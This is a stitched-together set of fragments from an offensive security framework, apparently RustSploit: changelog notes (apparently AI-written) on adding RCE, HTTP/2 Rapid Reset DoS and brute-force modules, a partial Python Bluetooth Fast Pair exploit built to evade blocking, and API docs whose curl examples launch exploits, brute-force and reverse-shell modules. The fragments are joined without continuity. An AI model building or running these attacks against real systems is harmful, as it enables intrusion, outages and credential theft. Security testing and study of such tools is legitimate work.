Optional verbose warnings via RUSTSPLOIT_VERBOSE_BUILD environment variable
Reduces noise during normal builds
Better path handling
More robust path operations with proper error handling
Handles edge cases better
Output quality
Adds header comments to generated files
Includes documentation in generated code
Better formatted output
The build script is now more robust, maintainable, and feature-complete. It should handle edge cases better and provide clearer feedback during the build process.
ping_sweep.rs improvements
Progress reporting: real-time progress with percentage, hosts up count, and scan rate
Parallel TCP probing: ports are probed in parallel for better performance
Better ICMP detection: detects and uses the correct ping command (ping vs ping6, handles IPv6 with -6 flag)
Error handling: clearer error messages when ping commands are missing
Progress cleanup: clears progress line at completion for cleaner output
ssdp_msearch.rs improvements
Multiple search targets: supports upnp:rootdevice, ssdp:all, and custom ST values
Configurable timeout: user can set timeout (default 3 seconds)
Retry logic: configurable retries (default 1, max 10) with delays between attempts
Verbose mode: optional verbose output showing requests and detailed errors
Enhanced response parsing: extracts additional SSDP headers (ST, NT, Cache-Control, EXT)
Better error handling: proper error context and messages throughout
Larger buffer: increased from 2048 to 4096 bytes for larger SSDP responses
User-Agent header: adds RustSploit user-agent to requests
Better output formatting: improved response display with additional header information
Both modules now have:
Better error handling
More features and configurability
Improved performance
Better user experience with progress indicators and verbose modes
More robust cross-platform support
Created Files:
src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs - Main exploit module
src/modules/exploits/flowise/mod.rs - Module registration file
Updated src/modules/exploits/mod.rs - Added flowise module
Features:
Banner display - ASCII art banner matching the original Python version
Interactive prompts - Prompts for email, password, and command (like other modules)
Authentication - Login functionality with proper headers
RCE execution - Executes commands via the customMCP endpoint vulnerability
Error handling - Proper error handling with colored output
Cookie support - Uses reqwest's cookie store to maintain session
401 retry logic - Automatically retries with internal header if needed
Framework Integration:
The module is automatically detected by the framework's build script (build.rs) because it:
Exports pub async fn run(target: &str) -> Result<()>
Is located in src/modules/exploits/flowise/
Is registered in the mod.rs files
The module will be available as:
flowise/cve_2025_59528_flowise_rce (full path)
cve_2025_59528_flowise_rce (short name)
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator
Flowise RCE Module (CVE-2025-59528)
Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs
Features:
Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic
Framework Integration:
Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs
Features:
Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output
Framework Integration:
Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset
Dependencies Added:
h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types
Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>
Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages
Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.
Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
#### api mode and bug fixes and new modules etc Latest end
Improved the telnet bruteforce module with safer inputs and sturdier execution:
Added guarded prompts for port, thread count, yes/no answers, and wordlist paths (loops until valid input, checks file existence). Blank or invalid inputs now fall back to sensible defaults or re-prompt instead of panicking.
Wordlists are trimmed and filtered, with explicit errors when the files are empty—preventing silent no-op bruteforcing.
Swapped the shared stop flag to an AtomicBool so workers react immediately when a credential is found while stop_on_success is enabled.
Counted queued combinations up front and log the total attempts for visibility.
Added a powerful raw brute-force option to the Telnet module:
Prompts now support programmatic password generation: answer “yes” to “Enable raw brute-force password generation?” to supply a character set (default a-zA-Z0-9) and a maximum length (bounded to 16).
Wordlists became optional when raw mode is on (leave the password wordlist blank to skip it); the module still accepts wordlists and can combine them with raw guesses.
Queue building now streams through a background generator thread that respects the shared stop_on_success flag (AtomicBool) and counts attempts via an AtomicUsize.
Improved input validation for ports, thread counts, yes/no answers, and file paths; empty lists now raise clear errors.
Logged attempt counts and status messages highlight usernames/passwords loaded and total credentials queued.
Credential Modules
Hardened the SSH brute-force runner with validated host normalization, atomic stop control, and a bounded async work queue so we no longer pile up tasks or contend on a mutex; workers now exit immediately once a hit is found while still honoring combo mode and verbose logging.
FTP Bruteforce Fixes
Swapped the shared stop flag to an Arc<AtomicBool> and tightened the worker loops so we stop queuing attempts immediately after a hit while still letting outstanding tasks exit cleanly under the semaphore cap.
Simplified throttling: we dropped the expensive system-polling loop and now rely on the semaphore for connection pressure, plus clearer panic logging in the join loop.
Extended try_ftp_login with a verbose toggle so noisy connection failures only print when requested, while still surfacing TLS fallbacks or critical errors.
Replaced the brute-force loop with a semaphore-guarded task queue so concurrency stays bounded, tasks bail fast once a hit is found, and DNS results are resolved once and reused across attempts.
Added shared header storage plus richer error messages that identify the target when RTSP replies are unexpected or connections fail.
Advanced headers are now shared via Arc, and the stop flag moved to AtomicBool so threads dont block on a mutex when cancelling runs.
RTSP Target Support Updates
Added centralized target normalization so the module now accepts domains, IPv4, IPv6 (with or without brackets), optional schemes, and inline RTSP paths; inferred paths are queued first in the brute-force list.
Introduced normalize_target_input to standardize host/port handling and trim any implicit path/query fragments before resolution.
No automated tests were run; consider a quick RTSP smoke test against known IPv4/IPv6 endpoints to confirm resolution and path detection behave as expected.
Introduced shared prompt utilities for ports, thread counts, yes/no answers, and wordlists so SMTP input handling now mirrors the other modules and gives consistent feedback on bad values.
Reworked the SMTP brute-force module to match our richer prompt UX and concurrency story: inputs are validated, wordlists must exist, and worker threads respect an AtomicBool stop flag while reporting loaded counts and draining the queue on success.
Added reusable helpers for SSH input validation—targets are normalized through DNS-safe bracket handling and wordlists must exist before continuing—so mis-typed hosts or files fail fast with actionable feedback.
Hardened the REPL inputs: we now cap command length, sanitize module paths, and refuse targets with whitespace/control chars so only vetted values reach the module runner and env vars.
Locked down proxy usage by deduplicating/truncating large lists before activation, making it harder to feed an unbounded or repeated proxy set into env vars.
Added explicit sanitizers for module paths/targets to block traversal attempts and exotic characters before they ever touch utils::module_exists or shared state.
Docker Setup Utility
Added scripts/setup_docker.py, a standalone interactive helper that:
Detects repo root, validates Docker/Docker Compose availability, and guides users through binding address selection (loopback, 0.0.0.0, detected LAN IP, or custom).
Prompts for API key (custom or securely generated), optional hardening toggle, and IP-limit.
Generates a multi-stage Dockerfile (docker/Dockerfile.api) matching the requested build/serve stages, a hardened entrypoint (docker/entrypoint.sh), a project-specific compose file (docker-compose.rustsploit.yml), and an environment file (.env.rustsploit-docker).
Optionally runs docker compose up -d --build to bring the API online with the chosen configuration.
Usage
From the repo root, run python3 scripts/setup_docker.py.
Follow the prompts to select interface, API key, and hardening settings.
Allow the script to generate files and (optionally) launch the Docker stack.
If you skip the final step, start the stack later with:
docker compose -f docker-compose.rustsploit.yml up -d --build
All new files are created only after confirmation when existing content is detected, preventing accidental overwrites.
Rebuilt scripts/setup_docker.py into a safer CLI/interactive hybrid:
Validates repo root, docker/dockercompose availability, and enforces printable API keys with optional random generation.
Adds flags (--bind, --port, --api-key, --generate-key, --enable-hardening, --disable-hardening, --ip-limit, --compose-cmd, --skip-up, --force, --non-interactive) so the tool can be scripted or used interactively.
Normalizes host/port selection (loopback, all interfaces, detected LAN, or custom) and applies strict parsing for non-interactive use.
Generates Dockerfile, entrypoint, Compose file, and env file with restricted permissions (.env written 0600), docker security options (no-new-privileges, tmpfs /tmp), and port bindings derived from user choices.
Supports BuildKit-enabled docker compose up -d --build, or skips launch when --skip-up is set.
Reworked run to drive a multi-target workflow: it now gathers sanitized targets from CLI, interactive prompts, or files, applies per-target ports (including ip:port forms), and iterates through them while reusing a single DNS query configuration.
Added robust parsing, validation, and de-duplication helpers for targets, with stop handling, file support, and strict host/port sanitization so mixed IPs/domains and custom ports are accepted safely.
+100
View File
@@ -0,0 +1,100 @@
# --- Constants ---
return fmt_mac(chunk)
return None
async def exploit_device(self, address, strategy_index=None, log_callback=None):
def log(msg, type="info"):
if log_callback: log_callback(msg, type)
else: print(msg)
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
try:
async with BleakClient(address, timeout=20.0) as client:
log(f"Connected. Auth: {client.is_connected}", "success")
# Service Discovery
service = client.services.get_service(FAST_PAIR_UUID)
if not service:
for s in client.services:
if "fe2c" in str(s.uuid).lower():
service = s
break
if not service:
log("Fast Pair Service not found.", "error")
return False
# Model ID & Quirks
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
model_char = service.get_characteristic(MODEL_ID_UUID)
if model_char:
try:
mid_bytes = await client.read_gatt_char(model_char)
quirks = self._parse_model_id(mid_bytes)
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
except:
log("Could not read Model ID, using defaults.", "info")
# KBP Characteristic
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
if not kbp_char:
log("KBP Characteristic not found.", "error")
return False
# Apply Quirk Delay
if quirks["delay_before_kbp"] > 0:
await asyncio.sleep(quirks["delay_before_kbp"])
# Response Handling
response_event = asyncio.Event()
parsed_address = None
def notification_handler(sender, data):
nonlocal parsed_address
# Use robust parser
found = self._parse_kbp_response(data, current_secret)
if found:
parsed_address = found
log(f"Response Parsed! Real Address: {parsed_address}", "success")
else:
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
response_event.set()
await client.start_notify(kbp_char, notification_handler)
# Strategy Selection
strategies_to_try = []
if strategy_index is not None:
try:
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
except (ValueError, IndexError):
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
return False
else:
strategies_to_try = EXPLOIT_STRATEGIES
# CRITICAL FIX: Use the actual target device address as the Provider Address
# The device checks this to ensure the packet is meant for it.
try:
# Convert MAC string "AA:BB:..." to bytes
provider_addr = bytes(int(x, 16) for x in address.split(":"))
except ValueError:
log("Invalid MAC address format. Using dummy provider address.", "warning")
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
# Randomize Seeker Address for every attempt to evade caching/blocking
seeker_addr = secrets.token_bytes(6)
log(f"Target (Provider) Address: {address}", "info")
log(f"Strategies to try: {strategies_to_try}", "info")
success_strategy = None
current_secret = None
write_accepted_but_no_response = False
for strat in strategies_to_try:
log(f"Trying Strategy: {strat}...", "info")
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
current_secret = secret # For notification handler
Binary file not shown.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+388
View File
@@ -0,0 +1,388 @@
# API Server
Rustsploit includes a built-in API server (`src/api.rs`, `src/ws.rs`) with post-quantum encrypted WebSocket transport and SSH-style identity key authentication. No TLS. No API keys.
---
## Starting the API Server
```bash
# Basic — auto-generates host key on first run
cargo run -- --api
# Custom bind address
cargo run -- --api --interface 0.0.0.0:9000
# Custom key paths
cargo run -- --api --pq-host-key /path/to/host_key --pq-authorized-keys /path/to/authorized_keys
```
On first run, the server generates a PQ host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint:
```
🔑 Host key fingerprint: PQ256:a1b2c3d4e5f6...
```
---
## API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--interface <addr:port>` | Bind address (default: `127.0.0.1:8080`) | No |
| `--pq-host-key <path>` | PQ host key file (default: `~/.rustsploit/pq_host_key`) | No |
| `--pq-authorized-keys <path>` | Authorized client keys (default: `~/.rustsploit/pq_authorized_keys`) | No |
---
## Authentication — Post-Quantum Identity Keys
Authentication uses SSH-style public/private key pairs with post-quantum cryptography. No API keys or Bearer tokens.
### How it works
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
2. **Client** has an identity key pair per tenant, stored encrypted in ArcticAlopex's database
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys`
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
5. Both sides prove key ownership via DH proof-of-possession
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
7. All subsequent API traffic is encrypted with ChaCha20-Poly1305 via a Double Ratchet (forward secrecy)
### Authorized keys format
`~/.rustsploit/pq_authorized_keys` — one JSON object per line:
```json
{"name":"acme-tenant","x25519_pub":"base64...","mlkem_ek":"base64..."}
{"name":"redteam","x25519_pub":"base64...","mlkem_ek":"base64..."}
```
### Security properties
| Property | Mechanism |
|----------|-----------|
| Quantum resistance | ML-KEM-768 (NIST FIPS 203, Level 3) |
| Classical resistance | X25519 hybrid (both must be broken) |
| Forward secrecy | Double Ratchet with periodic DH re-keying |
| Mutual authentication | Both sides prove identity key ownership |
| Replay protection | Monotonic epoch counter + unique nonces |
| Tampering detection | ChaCha20-Poly1305 AEAD with AAD |
---
## Endpoints
### Public (no PQ session needed)
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/health` | Health check |
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
| `GET` | `/pq/ws` | Upgrade to PQ-encrypted WebSocket transport |
### Protected (26 endpoints — require active PQ session)
**Modules**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/modules` | List all available modules by category |
| `GET` | `/api/modules/search?q=<keyword>` | Search modules by keyword |
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
| `POST` | `/api/run` | Execute a module against a target |
**Shell**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/shell` | Execute any shell command (full parity with interactive shell) |
**Target**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/target` | Get current global target |
| `POST` | `/api/target` | Set global target |
| `DELETE` | `/api/target` | Clear global target |
**Honeypot Detection**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/honeypot-check` | Check if target is a honeypot |
**Results**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/results` | List saved result files |
| `GET` | `/api/results/{filename}` | Download a result file |
**Global Options**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/options` | List all global options (`setg` values) |
| `POST` | `/api/options` | Set a global option |
| `DELETE` | `/api/options` | Delete a global option |
**Credential Store**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/creds` | List stored credentials |
| `POST` | `/api/creds` | Add a credential manually |
| `DELETE` | `/api/creds` | Delete a credential by ID |
**Workspace / Hosts / Services**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/hosts` | List tracked hosts |
| `POST` | `/api/hosts` | Add a host (IP, hostname, OS guess) |
| `GET` | `/api/services` | List discovered services |
| `POST` | `/api/services` | Add a service (host, port, protocol, name) |
| `GET` | `/api/workspace` | Get current workspace name/data |
| `POST` | `/api/workspace` | Switch to a different workspace |
**Loot**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/loot` | List collected loot items |
| `POST` | `/api/loot` | Add loot (host, type, description, data) |
**Jobs**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/jobs` | List background jobs |
| `DELETE` | `/api/jobs/{id}` | Kill a background job by ID |
**Export**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
> **Note:** The `check` command (non-destructive vulnerability check) is available via `POST /api/shell` with `{"command": "check"}` when a module and target are set. There is no dedicated `/api/check` endpoint.
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
> **Total: 28 endpoints** (2 public + 26 protected) across 9 resource categories, plus WebSocket transport.
### WebSocket Transport
`GET /pq/ws` upgrades the connection to a PQ-encrypted WebSocket. After the initial `/pq/handshake`, clients can switch to WebSocket for persistent bidirectional communication.
**Features:**
- PQ-encrypted frames using ChaCha20-Poly1305 (same security as REST)
- Max 100 concurrent WebSocket connections
- 30-second heartbeat interval
- 1 MiB max frame size
- Sub-session key derivation from the PQ handshake session
**Headers required:**
- `X-PQ-Session-Id` — session ID from `/pq/handshake`
- Standard WebSocket upgrade headers
WebSocket messages use the same JSON request/response format as REST endpoints. The WebSocket transport is ideal for long-running operations, real-time job monitoring, and persistent client connections.
---
### Shell Command Endpoint
`POST /api/shell` provides **full parity** with the interactive shell. Every command
available in the `rsf>` prompt works via this endpoint. Commands that require interactive
prompts (like `creds add`, `services add`, `loot add`) accept inline arguments instead.
**Request format:**
```json
{
"command": "single command string",
"commands": ["cmd1", "cmd2", "cmd3"]
}
```
Use `command` for a single command or `commands` (array, 1-20 entries) for batching.
Shell metacharacters (`& | ; $ >`) are forbidden — use the `commands` array for chaining.
**Supported commands:**
| Category | Commands |
|----------|----------|
| Navigation | `help`, `modules`, `find <kw>`, `use <path>`, `info [path]`, `back` |
| Targeting | `set target <ip>`, `set subnet <CIDR>`, `set port <n>`, `show_target`, `clear_target` |
| Execution | `run [target]`, `run_all [target]`, `check` |
| Global Options | `setg <key> <val>`, `unsetg <key>`, `show_options` |
| Credentials | `creds`, `creds add <host> <port> <svc> <user> <secret> [type]`, `creds search <q>`, `creds delete <id>`, `creds clear` |
| Hosts/Services | `hosts`, `hosts add <ip>`, `services`, `services add <host> <port> <proto> <name> [ver]`, `notes <ip> <text>` |
| Workspace | `workspace [name]` |
| Loot | `loot`, `loot add <host> <type> <desc> <data>`, `loot search <q>` |
| Export | `export <json\|csv\|summary> <file>` |
| Jobs | `jobs`, `jobs -k <id>`, `jobs clean` |
| Logging | `spool [off\|file]` |
**Not available in API mode:** `resource` (security — prevents server-side file execution), `makerc` (no shell history).
**Response format:**
```json
{
"success": true,
"message": "N shell command(s) executed",
"data": {
"results": [
{
"command": "modules",
"success": true,
"output": "{\"total\": <dynamically generated>, ...}",
"duration_ms": 2
}
]
}
}
```
Commands returning structured data (modules, creds, hosts, services, loot, jobs, options, info, check)
encode their output as JSON strings in the `output` field.
---
## Security Features
### Input Validation
| Check | Detail |
|-------|--------|
| Request body limit | Max 1 MB (prevents DoS) |
| API key validation | Must be printable ASCII, max 256 chars |
| Target validation | Length check, control char rejection, path traversal prevention |
| Module path sanitization | Validated against injection and traversal attacks |
| Resource limits | Auto-cleanup when tracked IPs or auth failures exceed 100,000 entries |
### IP Whitelist
An optional IP whitelist can be configured at `~/.rustsploit/ip_whitelist.conf` (one IP per line, `#` for comments). When the file exists and contains entries, only listed IPs are allowed to access the API. All other IPs receive HTTP `403 Forbidden`. If the file is absent or empty, all IPs are allowed.
### Rate Limiting
- **10 requests per second** per IP (general rate limit)
- **3 failed auth attempts** → IP blocked for **30 seconds**
- Blocked IPs receive HTTP `429 Too Many Requests`
- Failure counter resets automatically after the block expires
- Successful auth resets the failure counter for that IP
- Expired blocks and entries older than **1 hour** are auto-pruned
### Post-Quantum Host Key
The server generates an ML-KEM-768 + X25519 host key pair on first run at `~/.rustsploit/pq_host_key`. This is the server's permanent identity — like an SSH host key. The fingerprint is displayed on startup and should be verified by clients on first connection to prevent MITM attacks.
---
## Logging
All activity is logged to:
- **Terminal** — real-time colored output
- **`rustsploit_api.log`** — in the current working directory
Logged events include:
- API requests and responses
- Authentication failures and rate limit triggers
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
---
## Module Prompts (API Mode)
All modules (exploits, scanners, and creds) support a `prompts` field in the
`/api/run` request body. This field is a JSON object of key→value pairs that
pre-fill interactive prompts so modules run non-interactively via the API.
### How It Works
1. Modules use `cfg_prompt_*()` functions that check `prompts` first
2. If a key is not found in `prompts`, global options (set via `setg` or
`POST /api/options`) are checked next
3. If a key is present in either source, its value is used instead of prompting stdin
4. If a key is missing in API mode, the default value is used (or an error is
returned for required prompts)
5. Boolean prompts accept: `y`/`n`/`yes`/`no`/`true`/`false`/`1`/`0`
### Common Prompt Keys
| Key | Type | Used By | Description |
|-----|------|---------|-------------|
| `port` | u16 | Most modules | Target service port |
| `target` | string | Some modules | Override target when empty |
| `command` | string | RCE exploits | Command to execute |
| `username` | string | Auth exploits/creds | Username or login |
| `password` | string | Auth exploits/creds | Password or credential |
| `mode` | string | Multi-mode modules | Select operation mode (1, 2, 3…) |
| `concurrency` | int | Scanners/creds | Max concurrent tasks |
| `output_file` | string | Modules with save | Output filename |
| `save_results` | y/n | Creds/scanners | Save results to file |
| `verbose` | y/n | Many modules | Verbose output |
| `skip_ssl` | y/n | Web exploits | Skip SSL verification |
| `proceed` | y/n | Dangerous exploits | Confirm execution |
| `lhost` | string | Reverse shell | Attacker listener IP |
| `lport` | string | Reverse shell | Attacker listener port |
| `username_wordlist` | path | Creds modules | Path to username wordlist |
| `password_wordlist` | path | Creds modules | Path to password wordlist |
| `stop_on_success` | y/n | Creds modules | Stop on first valid credential |
| `combo_mode` | y/n | Creds modules | user×pass combination mode |
### Example: Exploit Module via API
```json
{
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
"target": "192.168.1.1",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id"
}
}
```
### Example: Credential Module via API
```json
{
"module": "creds/generic/ftp_bruteforce",
"target": "10.10.10.10",
"prompts": {
"port": "21",
"username_wordlist": "/opt/wordlists/users.txt",
"password_wordlist": "/opt/wordlists/passwords.txt",
"concurrency": "500",
"stop_on_success": "y",
"save_results": "y",
"output_file": "ftp_results.txt",
"verbose": "n",
"combo_mode": "n"
}
}
```
### Example: Database Bruteforce via API
```json
{
"module": "creds/generic/mysql_bruteforce",
"target": "10.10.10.10",
"prompts": {
"port": "3306",
"use_defaults": "y",
"username_wordlist": "/opt/wordlists/users.txt",
"password_wordlist": "/opt/wordlists/passwords.txt",
"concurrency": "20",
"stop_on_success": "y",
"save_results": "y",
"output_file": "mysql_results.txt"
}
}
```
+448
View File
@@ -0,0 +1,448 @@
# API Usage Examples
Practical workflows for interacting with the Rustsploit WebSocket API.
> Start the server first: `cargo run -- --api`
>
> **Note:** All API endpoints (except `/health`) require a PQ WebSocket session. The examples below show the JSON message format sent over the WebSocket connection — not direct HTTP requests. Authentication is via PQ identity keys established during the handshake. The `Authorization: Bearer` headers shown are **legacy placeholders** retained for readability — they are not used.
---
## Health Check (No Auth)
```bash
curl http://localhost:8080/health
```
**Response:**
```json
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
```
---
## List Available Modules
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/modules
```
**Response (truncated):**
```json
{
"modules": [
"exploits/heartbleed",
"exploits/mongo/mongobleed",
"scanners/port_scanner",
"scanners/dir_brute",
"creds/generic/ssh_bruteforce"
],
"count": 240,
"request_id": "abc123",
"timestamp": "2026-03-17T14:01:00Z",
"duration_ms": 2
}
```
---
## Get Module Details
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/module/exploits/sample_exploit
```
---
## Run a Port Scan
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
---
## Run an Exploit
All exploit modules support full API mode via the `prompts` field. When running
via the API, every interactive prompt can be pre-filled so modules never block
waiting on stdin.
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
http://localhost:8080/api/run
```
### Exploit with Prompts
```bash
# TP-Link Archer RCE — supply credentials and command via API
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
"target": "192.168.1.1",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id"
}
}' \
http://localhost:8080/api/run
```
```bash
# Zabbix SQL Injection — pre-select payload mode and credentials
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
"target": "10.10.10.10",
"prompts": {
"username": "Admin",
"password": "zabbix",
"mode": "3"
}
}' \
http://localhost:8080/api/run
```
```bash
# HTTP/2 Rapid Reset DoS test
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
"target": "10.10.10.10",
"prompts": {
"port": "443",
"use_ssl": "y",
"num_streams": "500",
"delay_ms": "1",
"run_baseline": "y",
"confirm_permission": "y"
}
}' \
http://localhost:8080/api/run
```
---
## Run a Credential Module
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "creds/generic/ssh_bruteforce",
"target": "10.10.10.10",
"prompts": {
"port": "22",
"username_wordlist": "/opt/wordlists/users.txt",
"password_wordlist": "/opt/wordlists/passwords.txt",
"concurrency": "100",
"stop_on_success": "y",
"save_results": "y",
"output_file": "ssh_results.txt"
}
}' \
http://localhost:8080/api/run
```
---
## Run MongoBleed (CVE-2025-14847)
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/mongo/mongobleed",
"target": "10.10.10.10:27017",
"prompts": {
"mode": "2",
"port": "27017",
"output_file": "leaked_data.bin"
}
}' \
http://localhost:8080/api/run
```
---
## Global Options
```bash
# Set global options
curl -X POST http://localhost:8080/api/options \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"port": "8080", "concurrency": "50"}'
# List global options
curl http://localhost:8080/api/options \
-H "Authorization: Bearer YOUR_KEY"
```
---
## Credential Store
```bash
# Add a credential
curl -X POST http://localhost:8080/api/creds \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"host": "192.168.1.1", "port": 22, "service": "ssh", "username": "admin", "secret": "password123", "cred_type": "password"}'
# List all credentials
curl http://localhost:8080/api/creds \
-H "Authorization: Bearer YOUR_KEY"
# Delete a credential
curl -X DELETE http://localhost:8080/api/creds \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"id": "abc12345"}'
```
---
## Workspace & Host Tracking
```bash
# Add a host
curl -X POST http://localhost:8080/api/hosts \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"ip": "192.168.1.1", "hostname": "router.local", "os_guess": "Linux"}'
# List hosts
curl http://localhost:8080/api/hosts -H "Authorization: Bearer YOUR_KEY"
# Add a service
curl -X POST http://localhost:8080/api/services \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"host": "192.168.1.1", "port": 22, "protocol": "tcp", "service_name": "ssh", "version": "OpenSSH 8.9"}'
# List services
curl http://localhost:8080/api/services -H "Authorization: Bearer YOUR_KEY"
# Switch workspace
curl -X POST http://localhost:8080/api/workspace \
-H "Authorization: Bearer YOUR_KEY" \
